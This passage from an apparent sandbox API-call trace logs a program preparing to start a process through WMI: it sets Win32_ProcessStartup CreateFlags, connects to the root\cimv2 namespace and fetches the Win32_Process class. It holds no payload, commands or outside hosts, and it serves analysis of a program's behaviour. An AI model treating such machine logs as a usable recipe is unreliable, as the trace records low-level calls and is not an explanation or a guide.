ppvObject=0x1b2fcb38*=0x1169380) returned 0x0 [0056.764] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169380, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcbe0 | out: ppvObject=0x1b2fcbe0*=0x0) returned 0x80004002 [0056.764] WbemDefPath:IUnknown:AddRef (This=0x1169380) returned 0x3 [0056.764] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169380, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc288 | out: ppvObject=0x1b2fc288*=0x0) returned 0x80004002 [0056.764] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169380, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc210 | out: ppvObject=0x1b2fc210*=0x0) returned 0x80004002 [0056.765] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169380, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc200 | out: ppvObject=0x1b2fc200*=0x11ae100) returned 0x0 [0056.765] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11ae100, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc228 | out: pCid=0x1b2fc228*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0056.765] WbemDefPath:IUnknown:Release (This=0x11ae100) returned 0x3 [0056.765] CoGetContextToken (in: pToken=0x1b2fc2b0 | out: pToken=0x1b2fc2b0) returned 0x0 [0056.765] CoGetContextToken (in: pToken=0x1b2fc730 | out: pToken=0x1b2fc730) returned 0x0 [0056.765] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169380, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7f0 | out: ppvObject=0x1b2fc7f0*=0x0) returned 0x80004002 [0056.765] WbemDefPath:IUnknown:Release (This=0x1169380) returned 0x2 [0056.765] WbemDefPath:IUnknown:Release (This=0x1169380) returned 0x1 [0056.765] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0056.765] CoGetContextToken (in: pToken=0x1b2fd450 | out: pToken=0x1b2fd450) returned 0x0 [0056.765] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169380, riid=0x1b2fd5b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd580 | out: ppvObject=0x1b2fd580*=0x1169380) returned 0x0 [0056.765] WbemDefPath:IUnknown:AddRef (This=0x1169380) returned 0x3 [0056.765] WbemDefPath:IUnknown:Release (This=0x1169380) returned 0x2 [0056.765] WbemDefPath:IWbemPath:SetText (This=0x1169380, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0056.777] IWbemClassObject:Get (in: This=0x11b8f10, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29c5aa8*=0, plFlavor=0x29c5aac*=0 | out: pVal=0x1b2fd978*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29c5aa8*=19, plFlavor=0x29c5aac*=0) returned 0x0 [0056.786] IWbemClassObject:Get (in: This=0x11b8f10, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd968*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29c5aa8*=19, plFlavor=0x29c5aac*=0 | out: pVal=0x1b2fd968*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29c5aa8*=19, plFlavor=0x29c5aac*=0) returned 0x0 [0056.790] IWbemClassObject:Put (This=0x11b8f10, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0056.842] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1168c00, puCount=0x1b2fd930 | out: puCount=0x1b2fd930*=0x0) returned 0x0 [0056.842] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0056.842] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0056.842] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0056.843] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd848 | out: ppv=0x1b2fd848*=0x111f638) returned 0x0 [0056.843] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd838 | out: pAptType=0x1b2fd838*=1) returned 0x0 [0056.843] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd840 | out: ppvObject=0x1b2fd840*=0x0) returned 0x80004002 [0056.843] IUnknown:Release (This=0x111f638) returned 0x1 [0056.845] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc60 | out: ppv=0x1b2fcc60*=0x11ae2c0) returned 0x0 [0056.845] WbemDefPath:IUnknown:QueryInterface (in: This=0x11ae2c0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcca8 | out: ppvObject=0x1b2fcca8*=0x0) returned 0x80004002 [0056.845] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11ae2c0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x1169440) returned 0x0 [0056.845] WbemDefPath:IUnknown:Release (This=0x11ae2c0) returned 0x0 [0056.846] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169440, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca68 | out: ppvObject=0x1b2fca68*=0x1169440) returned 0x0 [0056.846] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169440, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb10 | out: ppvObject=0x1b2fcb10*=0x0) returned 0x80004002 [0056.846] WbemDefPath:IUnknown:AddRef (This=0x1169440) returned 0x3 [0056.846] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169440, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc1b8 | out: ppvObject=0x1b2fc1b8*=0x0) returned 0x80004002 [0056.846] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169440, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc140 | out: ppvObject=0x1b2fc140*=0x0) returned 0x80004002 [0056.846] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169440, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc130 | out: ppvObject=0x1b2fc130*=0x11ae300) returned 0x0 [0056.846] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11ae300, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc158 | out: pCid=0x1b2fc158*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0056.846] WbemDefPath:IUnknown:Release (This=0x11ae300) returned 0x3 [0056.846] CoGetContextToken (in: pToken=0x1b2fc1e0 | out: pToken=0x1b2fc1e0) returned 0x0 [0056.846] CoGetContextToken (in: pToken=0x1b2fc660 | out: pToken=0x1b2fc660) returned 0x0 [0056.846] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169440, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc720 | out: ppvObject=0x1b2fc720*=0x0) returned 0x80004002 [0056.846] WbemDefPath:IUnknown:Release (This=0x1169440) returned 0x2 [0056.846] WbemDefPath:IUnknown:Release (This=0x1169440) returned 0x1 [0056.846] CoGetContextToken (in: pToken=0x1b2fd480 | out: pToken=0x1b2fd480) returned 0x0 [0056.846] CoGetContextToken (in: pToken=0x1b2fd380 | out: pToken=0x1b2fd380) returned 0x0 [0056.847] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169440, riid=0x1b2fd4e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd4b0 | out: ppvObject=0x1b2fd4b0*=0x1169440) returned 0x0 [0056.847] WbemDefPath:IUnknown:AddRef (This=0x1169440) returned 0x3 [0056.847] WbemDefPath:IUnknown:Release (This=0x1169440) returned 0x2 [0056.847] WbemDefPath:IWbemPath:SetText (This=0x1169440, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0056.847] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169440, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0056.847] WbemDefPath:IWbemPath:GetText (in: This=0x1169440, lFlags=4, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0056.847] WbemDefPath:IWbemPath:GetText (in: This=0x1169440, lFlags=4, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0056.847] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0056.847] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0056.847] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0056.847] IUnknown:Release (This=0x111f638) returned 0x1 [0056.848] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce80 | out: ppv=0x1b2fce80*=0x11ae400) returned 0x0 [0056.848] WbemLocator:IUnknown:QueryInterface (in: This=0x11ae400, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcec8 | out: ppvObject=0x1b2fcec8*=0x0) returned 0x80004002 [0056.848] WbemLocator:IClassFactory:CreateInstance (in: This=0x11ae400, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x11ae420) returned 0x0 [0056.848] WbemLocator:IUnknown:Release (This=0x11ae400) returned 0x0 [0056.848] WbemLocator:IUnknown:QueryInterface (in: This=0x11ae420, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc88 | out: ppvObject=0x1b2fcc88*=0x11ae420) returned 0x0 [0056.848] WbemLocator:IUnknown:QueryInterface (in: This=0x11ae420, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcd30 | out: ppvObject=0x1b2fcd30*=0x0) returned 0x80004002 [0056.849] WbemLocator:IUnknown:AddRef (This=0x11ae420) returned 0x3 [0056.849] WbemLocator:IUnknown:QueryInterface (in: This=0x11ae420, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc3d8 | out: ppvObject=0x1b2fc3d8*=0x0) returned 0x80004002 [0056.849] WbemLocator:IUnknown:QueryInterface (in: This=0x11ae420, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc360 | out: ppvObject=0x1b2fc360*=0x0) returned 0x80004002 [0056.849] WbemLocator:IUnknown:QueryInterface (in: This=0x11ae420, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc350 | out: ppvObject=0x1b2fc350*=0x0) returned 0x80004002 [0056.849] CoGetContextToken (in: pToken=0x1b2fc400 | out: pToken=0x1b2fc400) returned 0x0 [0056.849] CoGetContextToken (in: pToken=0x1b2fc880 | out: pToken=0x1b2fc880) returned 0x0 [0056.849] WbemLocator:IUnknown:QueryInterface (in: This=0x11ae420, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc940 | out: ppvObject=0x1b2fc940*=0x0) returned 0x80004002 [0056.849] WbemLocator:IUnknown:Release (This=0x11ae420) returned 0x2 [0056.849] WbemLocator:IUnknown:Release (This=0x11ae420) returned 0x1 [0056.849] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0056.849] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0056.849] WbemLocator:IUnknown:QueryInterface (in: This=0x11ae420, riid=0x1b2fd490*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x11ae420) returned 0x0 [0056.849] WbemLocator:IUnknown:AddRef (This=0x11ae420) returned 0x3 [0056.849] WbemLocator:IUnknown:Release (This=0x11ae420) returned 0x2 [0056.849] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169440, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0056.849] WbemDefPath:IWbemPath:GetText (in: This=0x1169440, lFlags=8, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0056.849] WbemDefPath:IWbemPath:GetText (in: This=0x1169440, lFlags=8, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0056.849] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd5a0 | out: ppv=0x1b2fd5a0*=0x11ae440) returned 0x0 [0056.849] WbemLocator:IWbemLocator:ConnectServer (in: This=0x11ae440, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd708 | out: ppNamespace=0x1b2fd708*=0x1130ee0) returned 0x0 [0056.857] WbemLocator:IUnknown:QueryInterface (in: This=0x1130ee0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd418 | out: ppvObject=0x1b2fd418*=0x11b1010) returned 0x0 [0056.857] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x11b1010, pProxy=0x1130ee0, pAuthnSvc=0x1b2fd4e0, pAuthzSvc=0x1b2fd460, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464, pImpLevel=0x1b2fd46c, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468 | out: pAuthnSvc=0x1b2fd4e0*=0xa, pAuthzSvc=0x1b2fd460*=0x0, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464*=0x6, pImpLevel=0x1b2fd46c*=0x2, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468*=0x1) returned 0x0 [0056.857] WbemLocator:IUnknown:Release (This=0x11b1010) returned 0x1 [0056.857] WbemLocator:IUnknown:QueryInterface (in: This=0x1130ee0, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3b0 | out: ppvObject=0x1b2fd3b0*=0x11b1050) returned 0x0 [0056.858] WbemLocator:IUnknown:QueryInterface (in: This=0x1130ee0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3c0 | out: ppvObject=0x1b2fd3c0*=0x11b1010) returned 0x0 [0056.858] WbemLocator:IClientSecurity:SetBlanket (This=0x11b1010, pProxy=0x1130ee0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0056.858] WbemLocator:IUnknown:Release (This=0x11b1010) returned 0x2 [0056.858] WbemLocator:IUnknown:Release (This=0x11b1050) returned 0x1 [0056.858] CoTaskMemFree (pv=0x11b14b0) [0056.858] WbemLocator:IUnknown:AddRef (This=0x1130ee0) returned 0x2 [0056.858] WbemLocator:IUnknown:Release (This=0x11ae440) returned 0x0 [0056.859] CoGetContextToken (in: pToken=0x1b2fc620 | out: pToken=0x1b2fc620) returned 0x0 [0056.859] CoGetContextToken (in: pToken=0x1b2fcaa0 | out: pToken=0x1b2fcaa0) returned 0x0 [0056.859] WbemLocator:IUnknown:QueryInterface (in: This=0x1130ee0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca20 | out: ppvObject=0x1b2fca20*=0x11b1020) returned 0x0 [0056.859] WbemLocator:IRpcOptions:Query (in: This=0x11b1020, pPrx=0x11ae4a0, dwProperty=2, pdwValue=0x1b2fcb50 | out: pdwValue=0x1b2fcb50) returned 0x80004002 [0056.859] WbemLocator:IUnknown:Release (This=0x11b1020) returned 0x2 [0056.859] CoGetContextToken (in: pToken=0x1b2fd170 | out: pToken=0x1b2fd170) returned 0x0 [0056.859] CoGetContextToken (in: pToken=0x1b2fd070 | out: pToken=0x1b2fd070) returned 0x0 [0056.859] WbemLocator:IUnknown:QueryInterface (in: This=0x1130ee0, riid=0x1b2fd1d0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fcff0 | out: ppvObject=0x1b2fcff0*=0x1130ee0) returned 0x0 [0056.859] WbemLocator:IUnknown:Release (This=0x1130ee0) returned 0x2 [0056.859] SysStringLen (param_1=0x0) returned 0x0 [0056.860] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169440, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0056.860] WbemDefPath:IWbemPath:GetText (in: This=0x1169440, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0056.860] WbemDefPath:IWbemPath:GetText (in: This=0x1169440, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0056.860] WbemDefPath:IWbemPath:GetText (in: This=0x1168c00, lFlags=2, puBuffLength=0x1b2fd8a8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8a8*=0xe, pszText=0x0) returned 0x0 [0056.860] WbemDefPath:IWbemPath:GetText (in: This=0x1168c00, lFlags=2, puBuffLength=0x1b2fd8a8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd8a8*=0xe, pszText="Win32_Process") returned 0x0 [0056.861] IWbemServices:GetObject (in: This=0x1130ee0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd6f0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd6f0*=0x11be2f0, ppCallResult=0x0) returned 0x0 [0056.864] IWbemClassObject:Get (in: This=0x11be2f0, wszName="__PATH", lFlags=0, pVal=0x1b2fd7d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd928*=0, plFlavor=0x1b2fd920*=0 | out: pVal=0x1b2fd7d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b2fd928*=8, plFlavor=0x1b2fd920*=64) returned 0x0 [0056.864] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0056.864] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0056.864] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7f8 | out: ppv=0x1b2fd7f8*=0x111f638) returned 0x0 [0056.865] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7e8 | out: pAptType=0x1b2fd7e8*=1) returned 0x0 [0056.865] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7f0 | out: ppvObject=0x1b2fd7f0*=0x0) returned 0x80004002 [0056.865] IUnknown:Release (This=0x111f638) returned 0x1 [0056.866] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc10 | out: ppv=0x1b2fcc10*=0x11ae440) returned 0x0 [0056.867] WbemDefPath:IUnknown:QueryInterface (in: This=0x11ae440, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), 